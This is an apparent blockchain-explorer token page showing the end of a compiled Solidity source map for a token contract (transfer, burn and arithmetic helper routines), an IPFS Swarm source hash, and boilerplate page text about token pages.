:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6552:47;6573:6;6581:9;6592:6;6552:20;:47::i;:::-;6640:71;6662:6;6640:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6640:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;6620:17:0;;;:9;:17;;;;;;;;;;;:91;;;;6765:20;;;;;;;:32;;6790:6;6765:24;:32::i;:::-;-1:-1:-1;;;;;6742:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;6823:35;;;;;;;6742:20;;6823:35;;;;;;;;;;;;;6136:741;;;:::o;1255:192::-;1341:7;1377:12;1369:6;;;;1361:29;;;;-1:-1:-1;;;1361:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1413:5:0;;;1255:192::o;7275:418::-;-1:-1:-1;;;;;7359:21:0;;7351:67;;;;-1:-1:-1;;;7351:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7431:49;7452:7;7469:1;7473:6;7431:20;:49::i;:::-;7514:68;7537:6;7514:68;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7514:18:0;;:9;:18;;;;;;;;;;;;:68;:22;:68::i;:::-;-1:-1:-1;;;;;7493:18:0;;:9;:18;;;;;;;;;;:89;7608:12;;:24;;7625:6;7608:16;:24::i;:::-;7593:12;:39;7648:37;;;;;;;;7674:1;;-1:-1:-1;;;;;7648:37:0;;;;;;;;;;;;7275:418;;:::o;1111:136::-;1169:7;1196:43;1200:1;1203;1196:43;;;;;;;;;;;;;;;;;:3;:43::i

Swarm Source

ipfs://f593ecdee084501629cc06ccc492ad1c30396058c91e55333da297b9d001a526
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.